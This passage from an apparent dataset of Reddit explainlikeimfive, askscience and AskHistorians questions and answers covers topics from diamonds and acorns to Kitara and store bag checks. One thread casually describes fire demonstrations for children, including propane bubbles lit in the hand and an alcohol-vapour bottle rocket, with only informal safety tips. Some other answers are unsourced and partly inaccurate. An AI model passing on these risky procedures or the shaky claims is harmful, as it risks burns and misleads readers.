analogy is often used because diamond is pure carbon and coal is dominantly carbon. So in theory you could take coal and place it under extreme pressure and end up with (dirty) diamonds but that will never actually happen, the coal wouldn't withstand the temperatures at associated crustal depths. ", "What's the highest man-made pressure?", "no one will probably read this, but i've always been told by teachers that the molecular structure of the carbon in coal and diamonds is different... so i don't think this is even possible (may be wrong)", "How much coal would we need to propel the rockets to the astreroid belt and back? It's only a 3-6 month journey. There are diamonds there. ", "Diamonds do not ever come from coal! Ever ever ever! Ever never! lol\n\nThis is one of the first things I teach my students. Diamonds come from igneous intrusions called kimberlites. These arise from the deep mantle and are very old.\n\nCoal is a sedimentary rock formed from lithified plant matter. Plants (usually deposited in swamp conditions) are layered on top of one another and slowly buried. There it is subjected to pressure and a bit of heat to form peat then lignite then bituminous coal. When bituminous coal is subjected to further heat and pressure it is then metamorphosed into anthracite coal. This is the nice shiny coal that burns relatively cleanly. It's found in the Appalachian region here in the US (among other places). If it's subjected to any other heat and pressure from tectonic forces then it'll most likely be destroyed and result in partial or complete melting and form a new non-diamondy rock.", "Even if we could, we don't need to. Diamonds are not all that rare. The industry holds back supply intentionally to keep prices up."]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/explainlikeimfive/comments/5vrbm6/eli5_if_coal_turns_to_diamonds_through_pressure/de4eul0/", "https://www.reddit.com/r/explainlikeimfive/comments/5vrbm6/eli5_if_coal_turns_to_diamonds_through_pressure/de4gh3p/", "https://www.reddit.com/r/explainlikeimfive/comments/5vrbm6/eli5_if_coal_turns_to_diamonds_through_pressure/de4jzqh/", "https://www.reddit.com/r/explainlikeimfive/comments/5vrbm6/eli5_if_coal_turns_to_diamonds_through_pressure/de46d4u/", "https://www.reddit.com/r/explainlikeimfive/comments/5vrbm6/eli5_if_coal_turns_to_diamonds_through_pressure/de46kv5/", "https://www.reddit.com/r/explainlikeimfive/comments/5vrbm6/eli5_if_coal_turns_to_diamonds_through_pressure/de46ast/"], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Synthetic_diamond"], ["http://geology.com/articles/diamonds-from-coal"], [], ["https://en.wikipedia.org/wiki/Synthetic_diamond"], [], [], [], ["http://www.npr.org/2016/12/01/502330818/lab-grown-diamonds-come-into-their-own"], [], [], [], ["https://www.youtube.com/watch?v=CrR2SzGz7Jg"], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "li655", "title": "Why do the oak trees near me in New England produce, en masse, zero acorns every few years? ", "selftext": "And what happens to the squirrels, chipmunks, and other creatures who normally bury this food source to survive the winter?\n\nI suppose I'm posing this question to arborists, botanists, and wildlife biologists alike. I see no acorns at all here. I've tried to learn more, and I found a couple of stories ([Washington Post piece from 2008](_URL_0_) and a [Boston Globe story from 2004](_URL_1_).)\n\nI would like to better understand the mechanism by which tens of thousands of trees -- that are 50-300 years old and spread across thousands of square miles -- collectively decide not to propagate their species every once in a while.\n\nIs it PURELY environmental? Is it genetic? It seems like a weird species-wide genetic on/off switch process. Why don't some trees produce, and others nearby, not produce, each according to their own lifespan/schedule?\n\nIn hard years, why don't they just produce fewer acorns, instead of none? That alternative seems more sensible, from an evolutionary perspective. But I don't know much about evolutionary botany, so I'm asking the experts.\n\nThe behavior of the local squirrels is noticeably different as well recently. They are being extremely cute and friendly. (Coming up within two feet of me and doing the begging posture, for example.) I was thinking of buying some unsalted, unshelled peanuts for them. Is this okay?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/li655/why_do_the_oak_trees_near_me_in_new_england/", "answers": {"a_id": ["c2svv8k", "c2svv8k"], "score": [19, 19], "text": ["Oak tree colonies are known for mast seeding. This means that every tree will produce seed at the same time, and then wait an interval of time (usually many years), before mast seeding again. \n\nThe point of mast seeding is to saturate seed predators with food during that year. Seed predators can only eat/hide so much food, so when every tree produces seed, a large percent of seeds will remain undisturbed and can grow into new trees. During the years the trees don't produce seed, seed predators either starve, rely on hidden caches of seeds, find new food sources, or live off the fat from the last mass seeding event. Trees use the time to build up resources for the next seeding event.\n\nTrees mast seed based on a biological clock; and obviously this clock is sensitive to environmental cues such as climate. Thus, it's absolutely possible for oak trees in New England to seed every year for 3 years, and then wait a year to build up energy reserves, and then seed every year for another 3 years. After all, that's just a modified version of mast seeding.", "Oak tree colonies are known for mast seeding. This means that every tree will produce seed at the same time, and then wait an interval of time (usually many years), before mast seeding again. \n\nThe point of mast seeding is to saturate seed predators with food during that year. Seed predators can only eat/hide so much food, so when every tree produces seed, a large percent of seeds will remain undisturbed and can grow into new trees. During the years the trees don't produce seed, seed predators either starve, rely on hidden caches of seeds, find new food sources, or live off the fat from the last mass seeding event. Trees use the time to build up resources for the next seeding event.\n\nTrees mast seed based on a biological clock; and obviously this clock is sensitive to environmental cues such as climate. Thus, it's absolutely possible for oak trees in New England to seed every year for 3 years, and then wait a year to build up energy reserves, and then seed every year for another 3 years. After all, that's just a modified version of mast seeding."]}, "title_urls": [], "selftext_urls": ["http://www.washingtonpost.com/wp-dyn/content/article/2008/11/29/AR2008112902045.html?hpid=topnews", "http://www.boston.com/news/local/articles/2004/11/30/acorn_cycle_tough_to_crack/?page=full"], "answers_urls": [[], []]}
{"q_id": "y0tmo", "title": "What was life like for the average American teenager in the era of Sputnik (circa 1957)?", "selftext": "I'm looking for a little of everything, especially pertaining to the 1950s American teenage girl. The music they listened to. The clothes they wore. What they paid attention to on the radio. When they listened to the radio. The lingo they spoke, the pressures that drove them this way or that.\n\nI've read a few things on the teenage boy's side but I've got very little on the average teenage 1950s American girl. Like, did they use tampons? What was considered promiscuous? What were the pressures at home? Hell, what did their bedrooms look like? There's a lot of room for difference, but there would've been an ideal as well as a reality that many could relate to, just as it is today. \n\nBooks, movies, and websites on the subject, contemporary reading material, contemporary music, anything you think could help immerse me in that time period. I'm not looking for material that romanticizes the American teenager in the late 1950s, but accurately portrays it.\n\nThanks, reddit.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/y0tmo/what_was_life_like_for_the_average_american/", "answers": {"a_id": ["c5rdckc", "c5re496"], "score": [9, 9], "text": ["I don't mean to sound snarky, but why don't you go ask someone who was a teenaged girl in the '50s? There are still plenty around, and could answer all of your questions with a lot more insight than we probably could. Besides, a historian's sources are most likely going to be those people anyway, so it'd be awesome to go do your own research and meet some cool ladies in the process.", "Check out Stephanie Coontz's : The Way We Never Were: American Families and the Nostalgia Trap.  \n\nShe doesn't focus just on females, but she does get quite a bit at the way we falsely \"remember\" the period as everyone having a childhood like Leave it to Beaver.\n\nAnother source might be to check out some of the government produced \"advice\" films.  You really have to read into them and not simply take them at face value.  They are more about what \"proper\" girls were expected to be like, not how they actually were.  A very good one is Home Economics  - check it out on youtube.  there is also an MST3K version that is pretty entertaining."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bwspaa", "title": "if you were to dump the average brain, and all the information it retains, on a hard drive, approximately how much space would it take up?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bwspaa/eli5_if_you_were_to_dump_the_average_brain_and/", "answers": {"a_id": ["epzzzg3"], "score": [2], "text": ["Anywhere from 100TB to 2500TB of information.\n\nMore if the format jives with they way your body uniquely likes to store information.\n\nBut it can process about 100 million instructions per second, thought it's hard to quantify how.\n\n & #x200B;\n\nAlso it's unlikely your brain would 'fill up' so it could be more.\n\nReal answer, we don't know, but the above numbers are a rough estimate."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6xao3l", "title": "why are hotel bed sheets almost exclusively white?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6xao3l/eli5_why_are_hotel_bed_sheets_almost_exclusively/", "answers": {"a_id": ["dmeg8sx", "dmeg8xs", "dmegccl", "dmeh51p", "dmet2uq"], "score": [16, 6, 32, 56, 5], "text": ["Because you can bleach white and get off all the nastyness that people do in a bed that's not their own. ", "Maybe because they can clean them with bleach without any color loss. Also must be cheaper to replace.", "So you don't have to worry about color fading when you throw them into gigantic high-powered industrial washing machines almost every day.", "It's cheap and easy to clean white sheets even if they get stained - throw them in with some bleach at high heat in an industrial washer and they'll look pretty good.  You can't bleach stains out of sheets of another color and they can fade, so you have to take more care when washing them.\n\nWhite also has the advantage to the customer that it \"feels\" nice and clean, like they aren't trying to hide any dirt or stains with a darker color sheet.  ", "I was a General Manager at a Hotel.  The corporation chose white sheets/towels because they were sold in bulk at a discounted rate. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "5u2fjn", "title": "In the early-mid 20th century, belts and suspenders seemed to be running neck and neck for most popular means to keep men's pants up. Today, belts have all but won. How did belts catch suspenders with their pants down?", "selftext": "In old photos and videos, especially from the 1920s through the 1960s, suspenders (or braces, if you're talking about the kind that button onto pants) seem to have been far more common than they are today, especially with suits (which themselves were more common). Why did they fall out of fashion so sharply as the 20th century wore on?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5u2fjn/in_the_earlymid_20th_century_belts_and_suspenders/", "answers": {"a_id": ["ddqvjv4"], "score": [8], "text": ["By no means am I discouraging anyone from answering your question (which made me chuckle:) ), but I think you'd enjoy reading [this answer](_URL_0_) by /u/pipkin42"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/5ap5n3/why_where_suspenders_so_popular_in_the_western/"]]}
{"q_id": "9i95yb", "title": "Did the Chicxulub asteroid have any impact on Earth's orbit?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9i95yb/did_the_chicxulub_asteroid_have_any_impact_on/", "answers": {"a_id": ["e6hueh9"], "score": [31], "text": ["Well, obviously it had *some* impact: it was just extremely small.\n\nThe Earth relative to the Sun has a kinetic energy on the order of 10^33 joules. The impact had an energy around 10^23 joules, and not all of this went towards altering the Earth's orbit either.\n\nOn a practical scale, there simply wasn't any kind of significant difference before and after the impact. It's like adding a couple centimeters to the Earth-Moon distance and expecting it to look different now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bnajh3", "title": "how, at 93 million miles away, does the sun feel so warm, yet when a simple cloud passes over it the warmth is incredibly dampened?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bnajh3/eli5_how_at_93_million_miles_away_does_the_sun/", "answers": {"a_id": ["en3tq83", "en3typ2", "en3uuhn", "en3xoy9", "en40m01", "en4hogh", "en4ihfz", "en4l0xv", "en4pg3w", "en4qbhb", "en4vh5u", "en4xs0n", "en5dzoo", "en657j6"], "score": [39, 33, 58, 22, 18267, 1183, 128, 3, 8, 2, 21, 2, 6, 2], "text": ["ELI5: How does shade work?  \n  \nftfy", "We feel warmth because of infrared radiation, clouds block infrared radiation. It's like standing next to bonfire in cold day, when you are facing fire you feel warmth on your face but when you put something between or turn around its suddenly cold.", "Most of the energy from the sun is light. The warmth stops when a cloud passes over it because it blocks the light.", "energy is what you feel as warmth. Energy is absorbed by stuff.. Clouds are stuff.  Ain't much other stuff in between us and the sun.", "So when you feel the sun's warmth, you're not feeling heat coming from the sun. You're instead feeling heat created *on your skin* by the sun's light.\n\nLight carries energy. Things with colour, like your skin, absorb light. When they do, the atoms that make them up get 'excited'. Depending on the atom, and what state its in, a few things can happen. If the atom is part of a molecule that energy can go to work breaking it out of the molecule. If the atom or molecule is on the surface of a solid or liquid, the energy can go towards flinging it off, into the air, turning into a gas.\n\nIf there's not enough energy to do either of those things, then the atom will just release the energy to its surroundings. Most of the time, most of the energy is released as heat. This is what you feel when the sun feels warm. Sometimes the energy can be released as light. This is how glow-in-the-dark things work.\n\nA cloud doesn't block all the light from the sun, but it does ~~absorb~~ *scatter* a lot of it. *Think of water droplets in a cloud like a million tiny disco balls*. The light that gets through is either too sparce to be noticeable, or high-enough energy that it causes damage instead (ie. UV light).", "For all those 93 million miles, the sunlight has had no stuff to interact with. Clouds are very *very* dense compared to space. A lot of the sunlight interacts with the clouds before it can reach you on the surface, leaving less sunlight to warm you up.", "Because thick clouds are misleading, they are very dense and the light that comes from the sun is traveling through space and has nothing to stop it during the eight minutes that takes to get here, clouds however can be like a wall.", "You are in a state of thermal equilibrium.  You give off heat, at the same time as taking in heat from your environment. \n\n & #x200B;\n\nA cloud passing over head and blocking the sunlight from hitting you, throws you immediately out of that higher equilibrium and into a lower one. You are now emitting more heat than you're taking in. The result is that you feel cooler. Until you hit that point where you are emitting the same amount of heat as you're receiving. When the cloud goes away, your equilibrium returns to a higher temperature.", "I have a follow-up question: Why, when approaching the sun, like being on top of a mountain, is it usually much cooler compared to sealevel? \ud83d\ude04", "This is all blowing my mind  \n\nWhy is June cooler than July and August even though the days are longer and you would theoretically have more direct sunlight?", "It's not super easy to explain all of it like your 5. So we will ignore the fact that the atmosphere bounces light around and traps heat. And we will ignore how heat actually works for this explanation.\n\nLet's go; light is energy. It's also made up of loads of colour. Light hits your skin, and depending on the tone of your skin, a lot of thos colours get reflected. The ones that don't, are absorbed, and the light turns from light energy, into kinetic energy. This means that the stuff that makes you up, starts to vibrate very quickly causing 'warmth'. Genuinely serious note, people with darker skin get hotter than people with light skin. People who have tattoos getter hotter on the tattoos than the rest of their skin. This is because more light is absorbed than is reflected.\n\nWhen a cloud comes over, it does two things. Scatters light (because its made of water vapour) and reflects light (because of its colour) this means that less light hits you, which means the atoms in your body don't vibrate as much. Less 'warmth'.", "Light transfers energy. When light hits your skin it transfers energy to your skin. The amount of energy transferred determines how hot it feels as your skin heats up. Light can be scattered or focused to cause the amount of energy transferred to be more or less.  \n\n\nIf you are in space, nothing is between you and the the sun, so you would be exposed to the entire amount of energy transferred by the light. That's why astronauts have to wear visors. To not get an instant sunburn.  \n\n\nWhen you are outside on a bright sunny day, the upper atmosphere is scattering and absorbing most of the light and its energy. That's why the entire sky is lit up, and the temperature in the sun and shade aren't that different. Energy is more evenly distributed.  \n\n\nOn a cloudy day, there is significantly more in the way of the light, and so the light is scattered even more and the energy that gets to your skin is even less.  \n\n\nAt the same time, a magnifying glass can focus light into a smaller area, causing the energy that hits a particular part of your skin to be even higher than the surrounding area which is why it heats up so fast.  \n\n\nSoooo. In space nothing scatters the light. On earth, the atmosphere scatters the light. On a cloudy day, the clouds scatter it even more. And a magnifying glass can refocus that light into a smaller area.  \n\n\nI wonder how a magnifying glass in space would work. Bet it would make a pretty hot focus.", "So to start of with, you don't actually sense temperature. What you feel is heat flux, which is the amount of energy that flows threw an area in a given time. If you walk into a room that's been kept at 70\u00b0F overnight, the air will be pleasant, but any metal will feel cool despite being the same temperature. This is because metal is a much better at moving thermal energy (heat) than air.\n\nSo there are 4 main ways to move thermal energy. Mass loss/evaporative cooling by sweating. Conduction is when heat flows from one object to the other by the objects touching (holding an ice cube in your hand). Covection is when heat flows from an object to a moving fluid (or vise versa). And radiation is when the object throws away some of that heat energy as a photon (light).\n\nSo when your outside on a sunny day, there all 3 modes of heat transfer are in effect. Conduction, convection are most likely cooling you off due to being warmer than the environment, while radiation is heating you up. Your body likes to stay at a constant temperature, so it sweats to the point where you maintain it, thus you have no net heat flux.\n\nWhen a cloud moves in front of the sun, the amount of heat added by radiation drops drastically. The air temperature didn't change, so the heat transfer by conduction stays the same. The wind speed (along with temperature) didn't change, so the heat transfer by convection stays the same. Your body takes some time to adjust, so for short time scales, heat tranfer by mass loss/evaporative cooling stays the same.\n\nWhat this means is suddenly your operating at a net loss of heat, and that's what you feel.", "So this may be dumb but does it really get hotter the closer you get to the sun if there is no heat in space?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "230u92", "title": "metamorphoses", "selftext": "Yesterday I went to Meijer Gardens in Grand Rapids MI to see the butterfly exhibit. I looked at all of the cocoons and wondered, \"How does a caterpillar change into a butterfly, when the two look completely different?\"\nI have heard in the past that the caterpillar liquifies itself and then reforms. But...what? After liquefying, how does it's DNA change and how does it \"know\" to reform? Can someone just explain the whole process and what is going on? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/230u92/eli5_metamorphoses/", "answers": {"a_id": ["cgsa1f6", "cgsba66"], "score": [3, 4], "text": ["DNA doesn't change during metamorphosis any more than it does when you hit puberty... which is actually pretty analogous. The cocoon basically functions as its skin while it undergoes Extreme Puberty. I don't think it liquefies itself so much as it loses and reforms its exoskeleton as part of its transformation. The insides of most animals, especially bugs, are pretty liquidy to begin with.", "Caterpillars do, in fact, liquify most of their bodies during metamorphosis.\nSome elements do not change, dependant on the specific insect.\n\nThe caterpillar breaks down into what are basically stem cells that can re develop as any kind of tissue.\n\nThe caterpillar literally re-maps it's body from a soup of stem cells."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "m1ixj", "title": "I have a science presentation for inter-city middle schoolers coming up, looking for some cool ideas. ", "selftext": "I'm a PhD student and volunteer at a Boys and Girls club.  I've been asked to put on an hour-long presentation for some 10-15 year-olds, and I'm hoping to blow their socks Bill Nye style.  I have a large, well-funded lab at my disposal.  Initial ideas include an invisible ink station (pH dependent), some kind of liquid nitrogen experiment, and maybe a combustion experiment (like soaking a dollar bill in ethanol and lighting it on fire).  I'm looking for some great ideas to get these kids excited.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/m1ixj/i_have_a_science_presentation_for_intercity/", "answers": {"a_id": ["c2xbi6f", "c2xbneu", "c2xdew9", "c2xbi6f", "c2xbneu", "c2xdew9"], "score": [4, 3, 3, 4, 3, 3], "text": ["When we did these science demonstrations in college we bubbled propane through soapy water in a bucket to make propane bubbles, then scooped them up in our hands and set them on fire.  You get a neat little fireball mushroom up from your hand and it has that 'wow factor'.\n\nIf you do this, remember to soak your arm in the water/soap solution really well.  The water acts as a barrier to protect your skin because of it's high heat capacity.  The flame is short-lived but it could singe your hair if you're not careful.  Also sometimes bubbles will fall off your hand (on fire), so just be careful where you do it.\n\nThe liquid nitrogen examples are always great.  We froze flowers then shattered them.  Also we put in balloons and showed them shrink and expand w/temperature.  Try to get thick balloons though because sometimes they pop.\n\nAnother popular one is \"Elephant toothpaste\" (I've never done).  Or \"Screaming Gummy Bears\" if you have some of the more exotic chemicals at your disposal.\n\n**DISCLAIMER: DO NOT TRY THIS AT HOME. WE ARE TRAINED SCIENTISTS.**", "Check out _URL_1_ for some cool chemistry experiments (they sell the chemicals, but explain the entire procedure with no purchase necessary). I've personally done _URL_0_ with great results. You mix a few dry, powder reagents together. Add a couple drops of water and the whole pile erupts into a brilliant flame.", "Get a water cooler bottle (the giant ones) and make a 10 ft or more rail with four PVC pipes at the corners so the bottle can slide easily along the rails but wont deviate from the path of the rails. Build plywood bulkheads at either end one with a hole drilled out of the middle so the bottom end of the bottle pokes through it.\n\nNow, take an easily atomized propellant like rubbing alcohol and put it in a spray bottle (not a squirt bottle). Spray some in the water cooler bottle, spin it around to increase the surface area of the small amount of liquid so it evaporates quickly. Take a long lighter and touch off the flammable gases at the bottle's mouth. \n\nThe fuel/air inside will burn rapidly and exhaust out the back generating thrust and rapidly propelling the bottle to the end of the rails. Congratulations, you've just demonstrated all the science involved with rocket propulsion including newtonian mechanics, chemistry of combustion, etc... And the large water cooler bottles are thick-walled enough that they can be reused for a long time and you can basically repeat the experiment as long as you have fuel.\n\nIt's loud enough to be cool but not so loud you need hearing protection. Also it involves fire and the little pyro in every 10-15 year old will eat it up like forbidden Halloween candy.", "When we did these science demonstrations in college we bubbled propane through soapy water in a bucket to make propane bubbles, then scooped them up in our hands and set them on fire.  You get a neat little fireball mushroom up from your hand and it has that 'wow factor'.\n\nIf you do this, remember to soak your arm in the water/soap solution really well.  The water acts as a barrier to protect your skin because of it's high heat capacity.  The flame is short-lived but it could singe your hair if you're not careful.  Also sometimes bubbles will fall off your hand (on fire), so just be careful where you do it.\n\nThe liquid nitrogen examples are always great.  We froze flowers then shattered them.  Also we put in balloons and showed them shrink and expand w/temperature.  Try to get thick balloons though because sometimes they pop.\n\nAnother popular one is \"Elephant toothpaste\" (I've never done).  Or \"Screaming Gummy Bears\" if you have some of the more exotic chemicals at your disposal.\n\n**DISCLAIMER: DO NOT TRY THIS AT HOME. WE ARE TRAINED SCIENTISTS.**", "Check out _URL_1_ for some cool chemistry experiments (they sell the chemicals, but explain the entire procedure with no purchase necessary). I've personally done _URL_0_ with great results. You mix a few dry, powder reagents together. Add a couple drops of water and the whole pile erupts into a brilliant flame.", "Get a water cooler bottle (the giant ones) and make a 10 ft or more rail with four PVC pipes at the corners so the bottle can slide easily along the rails but wont deviate from the path of the rails. Build plywood bulkheads at either end one with a hole drilled out of the middle so the bottom end of the bottle pokes through it.\n\nNow, take an easily atomized propellant like rubbing alcohol and put it in a spray bottle (not a squirt bottle). Spray some in the water cooler bottle, spin it around to increase the surface area of the small amount of liquid so it evaporates quickly. Take a long lighter and touch off the flammable gases at the bottle's mouth. \n\nThe fuel/air inside will burn rapidly and exhaust out the back generating thrust and rapidly propelling the bottle to the end of the rails. Congratulations, you've just demonstrated all the science involved with rocket propulsion including newtonian mechanics, chemistry of combustion, etc... And the large water cooler bottles are thick-walled enough that they can be reused for a long time and you can basically repeat the experiment as long as you have fuel.\n\nIt's loud enough to be cool but not so loud you need hearing protection. Also it involves fire and the little pyro in every 10-15 year old will eat it up like forbidden Halloween candy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.unitednuclear.com/negx.htm", "http://www.unitednuclear.com/experindex.htm"], [], [], ["http://www.unitednuclear.com/negx.htm", "http://www.unitednuclear.com/experindex.htm"], []]}
{"q_id": "2jmk9c", "title": "In the years around the Revolutionary War in the US, what were the major languages spoken in the area that was becoming the United States, and what were their geographic distributions?", "selftext": "English is obviously the major one, but I've heard German was spoken by a significant number of people in Pennsylvania, for example.  If there isn't a lot of variation, I'd be interested to hear about regional dialects of English that we know about from that time, or important Native American languages, if their distribution is interesting.  Really I'd be happy to hear information about any time from 1760-1800.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2jmk9c/in_the_years_around_the_revolutionary_war_in_the/", "answers": {"a_id": ["cldlkr5"], "score": [2], "text": ["Ignoring regional dialects of English:\n\n* English, of course, was spoken by a large portion of the white population of the 13 Colonies\n\n* French was spoken in Quebec, as well as in small scattered encalves throughout the Ohio Valley and down the Mississippi all the way to Louisiana.\n\n* Spanish was spoken in what is today Florida and the Gulf Coast\n\n* Dutch-speakers lived in the Hudson Valley was well as in what is today Northern New Jersey.  Dutch did not go extinct in these areas until the mid-19th century.\n\n* Various High German dialects were spoken by a couple of different ethnic and religious groups who migrated to the New World from Germany.  The Amish of Pennsylvania are probably the best known.\n\n* Then, there were the Native Americans who spoke hundreds of different languges.  East of the Mississippi, there were three major language families represented: The Iriqouin langugaes, the Algonquin languages, and the Souixan languges (Catabawan?).  These are broad languges families.  An Eastern Alonquin language like Passamaquoddy is as different from a Central Algonqin Language like Ojibwe, as French is different from Swedish, maybe moreso."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8h71w1", "title": "In the Instrument of Government of 1653, why is the town of Berwick-upon-Tweed mentioned alongside England and Scotland?", "selftext": "So I'm currently reading the Instrument of Government (as you do), and in articles IX and X (that deal with the composition of Parliament) is written: \n\n\n >  the persons to be chosen within England, Wales, the Isles of Jersey, Guernsey, **and the town of Berwick-upon-Tweed**, to sit and serve in Parliament\n\nand\n\n >  That the persons to be elected to sit in Parliament from time to time, for the several counties of England, Wales, the Isles of Jersey and Guernsey, **and the town of Berwick-upon-Tweed**\n\n\nWas the town of Berwick not part of England? Did it have a special status similar to the one of Jersey or Guernsey? Because when the Instrument lists the constituencies of Parliament, it's not singled out , it's in the middle of the list between Newcastle-upon-Tyne and Oxfordshire.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8h71w1/in_the_instrument_of_government_of_1653_why_is/", "answers": {"a_id": ["dyhrl2p"], "score": [17], "text": ["At the time it was disputed whether it was De Jure part of Scotland or England+Wales, due to conflicts in the previous centuries. It was a county in it's own right, so legally distinct from neighbouring Northumberland. There were many other \"county corporates\" at the time, but every example I know of has been given that status to help empower the town to deal with an issue or to recognize its prominence. Therefore, I think Berwick is unique in that it was given this status as a result of the border dispute, and was specifically named in this instrument as a result, re-affirming the English claim to it. The matter wasn't fully resolved until after the Acts of Union, as it happens.\n\nUnfortunately, Hansard's online archive only goes back to 1803 and I doubt I'd be allowed access to any records that old that still exist even if I was in the UK, so that's about as much help as I can be.\n\nedit: Anyone at Oxford should have online access to some records from this period, they have a fantastic library."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "elrj2q", "title": "Did the Empire of Kitara exist? What was it? (4th try)", "selftext": "The info I can find online (for free) is extremely sparse. It seems like the Empire of Kitara was a political entity of the Bunyoro people that held influence over the African Great Lakes, but a lot of the info is apparently based on contradictory folk tales. What's the truth here?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/elrj2q/did_the_empire_of_kitara_exist_what_was_it_4th_try/", "answers": {"a_id": ["fdkq94o"], "score": [39], "text": ["This is still a thorny question. Jean-Pierre Chretien, in his *The Great Lakes of Africa: Two Thousand Years of History* (2003) points to its remarkable power and persistence as a vehicle for irredentist claims by modern Banyoro.  The traditions' key \"resided in the desire to demonstrate continuity between the Bacwezi heroes of the ancient 'kingdom of Kitara' and the new Babito dynasty\" of King Rukidi (or Winyi) in the sixteenth century (102).  Europeans in the nineteenth century saw these Bacwezi and Kitara as signs of ancient 'Caucasoid' influence on the region, which was handy in the service of discounting the possibility of autochthonous political sophistication among people in Eastern and Central Africa.  In the colonial space, some of the new African elite embraced these ideas, especially in connection with the sub-imperialism of indirect rule. As you can imagine, this makes separating fact from fiction a huge huge mess.\n\nAs Chretien puts it, the archaeology suggests that six centuries ago Kitara was more a vague system of political and economic organization than anything unified, with the group of modern kingdoms really emerging in a space of ecological or demographic crisis that was transformative.  Instead of a kingdom as we might think of it, he calls the Cwezi entity of the era before Bunyoro as \"a quasi-initiatory model\" (108) that recognizes shared culture and mythology but not a clear singular hierarchy.  Whether a mythical ruler or throne (think Oduduwa at Ile-Ife for Yoruba) existed and became this nebulous legend out of proportion to the actual condition in hindsight, or whether Kitara was as large as its more recent advocates (who tellingly speak of 'Bunyoro-Kitara') claim, is not clear.  \n\nAt the same time, Richard Reid in his more recent (2017) *History of Uganda* suggests that Kitara was a real, but transient, agglomeration of small states in western Uganda that came under the rule of a Chwezi (Cwezi) dynasty that in turn employed a connection to older divine kings (Batembuzi) to proclaim their own status as semi-divine.  But the largest sweep claimed, from the Nile down through the Rift Valley entire, is almost certainly a mythical construction (107), even though there is a clear connection between material cultures and thus trade and migration among that whole region.  The Chwezi dynasty is hard to pin down on this point, which is one of the reasons that the nature of Kitara as a state and its structure remain really very foggy.  There is material evidence, and there are traditions, but they aren't as conclusive as anyone would like--and like old ideas of 'Greater Rwanda' that are employed by nationalists in that country today, Kitara has major political uses for those in Uganda who claim connection and, perhaps, seek to counterbalance the older preference given to Buganda.\n\n[ed: italics]"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "z291e", "title": "For centripetal acceleration, if the acceleration is directed towards the center of the circle, why doesn't the object go to the center?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/z291e/for_centripetal_acceleration_if_the_acceleration/", "answers": {"a_id": ["c60tlqg"], "score": [3], "text": ["Because the velocity of the object always changes, so that it's perpendicular to the axis of centripetal acceleration. Or to put it another way: It would, if its velocity vector wasn't an exact tangent to the circle, that the object is moving around in.\n\nIt has the exact speed, direction and radius to not a: Spin out from the center, or b: accelerate towards it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8s65ef", "title": "the \"concentration camp\" situation going on with migrant children and families", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8s65ef/eli5_the_concentration_camp_situation_going_on/", "answers": {"a_id": ["e0wvgzb"], "score": [2], "text": ["It is now official United States policy to separate children from families illegally entering the country, as a deterrent to other families trying to enter.  The adults go to immigration jail, the children go to a camp in concentrated numbers (an old, abandoned WallMart iirc).  Last I heard (2 days ago) the camp had 1490 children and a capacity of 1500.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2plt5p", "title": "after making a purchase, what legal right does a security guard have to check your bags and receipt when you're trying to leave.", "selftext": "I find it so insulting to have to wait at an exit of a store so a security guard, who watched me walk from the register to the exit, can glance at my bags and scribble on the receipt...how is this legal? Isn't the property mine once the sale is complete and shouldn't they technically need a warrant?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2plt5p/eli5_after_making_a_purchase_what_legal_right/", "answers": {"a_id": ["cmxuf26", "cmxul4f", "cmxv6um", "cmxvbn3", "cmxw2nk", "cmxwg3i", "cmy5j3h", "cmy6nv2", "cmy8ybl"], "score": [20, 58, 5, 12, 2, 24, 7, 4, 2], "text": ["Have you ever tried just saying \"No.\"?  I did this once and it felt so liberating.", "Unless it's an agreed upon thing (such as how the warehouse stores like Sam's Club checks the receipt on your way out), you may politely decline the search. You legally purchased the item(s) at checkout and in no way are you obligated to consent to a search. I wouldn't get violent or anything if they pressed the issue, I would just keep walking. If they do something further then they are liable for damages, unlawful detainment/false imprisonment, etc. \n\nAs far as a search warrant, that's a law enforcement thing. The store's loss prevention is not law enforcement.", "In Canada, and most likely it is similar in the US, a citizen (security 